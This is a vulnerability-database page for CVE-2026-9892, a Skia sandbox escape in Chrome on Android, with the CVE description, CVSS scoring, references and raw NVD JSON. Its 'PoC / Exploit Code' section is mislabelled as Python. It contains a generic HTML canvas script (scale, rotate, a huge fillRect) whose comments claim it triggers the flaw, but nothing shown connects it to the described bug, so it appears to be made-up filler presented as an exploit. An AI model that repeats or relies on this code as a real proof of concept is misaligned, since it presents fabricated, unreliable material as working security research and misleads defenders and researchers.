CVE-2026-9892

Description

Inappropriate implementation in Skia in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)

CVSS Details

CVSS Score

8.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome on Android < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-9892 Skia Sandbox Escape -->
<!-- This PoC demonstrates a trigger for the Skia implementation issue. -->
<!-- Requires a renderer exploit to be effective. -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-9892 PoC</title>
</head>
<body>
    <canvas id="c" width="800" height="600"></canvas>
    <script>
        // Trigger Skia rendering anomaly
        const canvas = document.getElementById('c');
        const ctx = canvas.getContext('2d');
        
        // Manipulate canvas state to hit the vulnerable Skia path
        ctx.scale(0.1, 0.1);
        ctx.rotate(45);
        ctx.fillRect(0, 0, 100000, 100000); // Potential overflow trigger
        
        console.log("Skia exploit trigger executed.");
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9892
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9892
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9892/
[4] VulDB https://vuldb.com/cve/CVE-2026-9892
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/513948178

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9892", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:47.187", "lastModified": "2026-05-29T16:16:35.553", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in Skia in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/513948178", "source": "[email protected]"}]}}